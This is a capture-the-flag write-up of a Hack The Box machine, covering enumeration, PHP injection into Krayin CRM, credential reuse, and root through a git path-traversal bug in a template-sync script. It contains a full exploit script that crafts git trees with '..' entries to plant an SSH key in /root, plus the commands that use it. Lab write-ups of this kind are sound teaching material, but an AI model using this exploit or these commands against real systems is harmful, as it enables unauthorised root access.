Nexus — HackTheBox Writeup
Only read this writeup after the machine has retired, per HTB’s content policy.
Machine Info
- Platform: Hack The Box
- Difficulty: Easy
- OS: Linux
- IP: 10.129.233.76
Overview
Nexus was another beginner-friendly Linux machine. A simple nmap scan showed only two open ports — 80 and 22. Directory brute-forcing on port 80 found nothing, but subdomain enumeration revealed two virtual hosts: git.nexus.htb and billing.nexus.htb. The Gitea instance at git.nexus.htb leaked a database password, and a valid mail address from the main site was used to sign into Krayin CRM. While the profile picture upload feature blocked PHP injection, the mail-sending feature did not — this gave a www-data shell. An .env file inside the Krayin install leaked further database credentials, which were used to get onto the box as the user jones. From there, a systemd timer running a Gitea template-sync script turned out to be vulnerable to path traversal through unsanitized git ls-tree output, which was abused to write an SSH key directly into /root/.ssh/authorized_keys, giving root access.
Reconnaissance
A standard nmap scan against the target showed only two open ports:
1
nmap -sC -sV -oN nmap/initial.txt 10.129.XX.XX
- Port 22 — SSH
- Port 80 — HTTP
Enumeration
First, I ran Gobuster against port 80 looking for directories/paths off the main domain — this came back empty.
1
gobuster dir -u http://nexus.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Since directory brute-forcing didn’t turn up anything, I switched to subdomain/vhost enumeration instead, which found two virtual hosts:
1
gobuster vhost -u http://nexus.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
git.nexus.htbbilling.nexus.htb
The Gitea instance at git.nexus.htb leaked a database password directly. Separately, the main site had a valid mail address, which was used to sign into Krayin CRM. Once logged in, I found the CRM version from the interface.
I tried uploading a PHP payload through the profile picture change feature first — this was blocked. However, the “send mail” feature in the CRM did not sanitize input the same way, and allowed PHP to be injected directly.
Foothold
By injecting PHP through the mail-sending feature in Krayin CRM, I was able to get code execution and land a www-data shell.
User Flag
The user flag was sitting in the same directory as the www-data shell, so that part was straightforward. From there, I found an .env file at /var/www/krayin containing a DB_PASSWORD value. Using this database password, I was able to log in as the user jones on nexus.htb.
Privilege Escalation
Once on the box as jones, I checked for scheduled jobs:
1
systemctl list-timers
This revealed a timer tied to a Gitea template-sync script at /etc/gitea/template-sync.py. Reading through it showed that it clones all template repositories and syncs their file contents to /home/git/template-staging/<owner>/<repo>/. The critical bug is in how it processes file paths returned by git ls-tree — it passes them straight into os.path.join() without sanitizing directory traversal sequences (..).
Since git ls-tree will happily output paths containing .. with no validation on the script’s side, and os.path.join() will resolve them, this means arbitrary files can be written anywhere the git user has filesystem access to. Since the staging directory sits at /home/git/template-staging/<owner>/<repo>/, it takes 5 levels of .. to climb out to /root/ and drop an SSH key into .ssh/authorized_keys.
To exploit this, I generated my own SSH keypair:
1
ssh-keygen -t ed25519 -f /tmp/.k -N ''
Then created a public repository to use as a “template,” cloned it locally, and wrote a script (build.py) that manually constructs raw Git objects — blobs, trees, and a commit — to build a crafted tree structure containing enough nested .. entries to escape the staging directory and place my public key as authorized_keys under /root/.ssh/:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# build.py
#!/usr/bin/env python3
import hashlib,zlib,os,subprocess,sys,time
def write_obj(data,t):
h=("%s %d"%(t,len(data))).encode()+b"\x00"
s=h+data
sha=hashlib.sha1(s).hexdigest()
d=os.path.join(".git","objects",sha[:2])
os.makedirs(d,exist_ok=True)
p=os.path.join(d,sha[2:])
if not os.path.exists(p):
open(p,"wb").write(zlib.compress(s))
return sha
def entry(mode,name,sha):
return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("Run inside git repo");sys.exit(1)
r=subprocess.run(["cat","/tmp/.k.pub"],capture_output=True,text=True)
if r.returncode!=0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''");sys.exit(1)
key=r.stdout.strip()+"\n"
blob=write_obj(key.encode(),"blob")
readme=write_obj(b"# Template\n","blob")
ssh_t=write_obj(entry("100644","authorized_keys",blob),"tree")
cur=write_obj(entry("40000",".ssh",ssh_t),"tree")
fir=write_obj(entry("40000","root",cur),"tree")
for i in range(4):
fir=write_obj(entry("40000","..",fir),"tree")
root=write_obj(entry("100644","README.md",readme)+entry("40000","..",fir),"tree")
ts=int(time.time())
c="tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"%(root,ts,ts)
sha=write_obj(c.encode(),"commit")
os.makedirs(os.path.join(".git","refs","heads"),exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)
After running the script, I force-pushed the crafted commit:
1
git push -u origin main --force
The template-sync service picked this up on its next run and, following the crafted .. chain, wrote my SSH public key straight into /root/.ssh/authorized_keys. From there, root access was just an SSH connection away:
1
ssh -i /tmp/.k root@nexus.htb
Root Flag
With SSH access as root, the root flag was sitting right there — nothing further needed.
Lessons Learned
The biggest takeaway from Nexus was that enumeration needs to go beyond directory brute-forcing — subdomain/vhost discovery was what actually cracked this box open, since the real attack surface was sitting on git.nexus.htb and billing.nexus.htb, not on the main site.
Input validation inconsistency was another key lesson: the same application blocked a PHP payload on one feature (profile picture upload) but allowed it through another (mail sending) — a reminder that sanitization has to be applied consistently across every input point, not just the obvious ones.
The privilege escalation path was the most interesting part of this machine. Rather than a kernel exploit or a SUID binary, root came from abusing a legitimate automation process — a Gitea template-sync script — by exploiting a classic Python footgun: passing unsanitized external input (git ls-tree output) directly into os.path.join(). This is a good reminder to always read the source of any custom automation/service found on a box, since these home-grown scripts are frequently where the real vulnerabilities hide.
The final flow of the machine was:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
nmap: ports 80, 22
↓
Gobuster (dir) → nothing
↓
Gobuster (vhost) → git.nexus.htb, billing.nexus.htb
↓
git.nexus.htb → leaked DB password
↓
billing.nexus.htb mail → Krayin CRM login
↓
PHP injection via mail-sending feature
↓
www-data shell
↓
User flag
↓
.env file → DB_PASSWORD
↓
SSH as jones
↓
systemctl list-timers → Gitea template-sync timer
↓
Path traversal in template-sync.py (os.path.join + git ls-tree)
↓
Crafted git template with 5x ".." tree entries
↓
SSH key written to /root/.ssh/authorized_keys
↓
ssh -i /tmp/.k root@nexus.htb
↓
Root flag




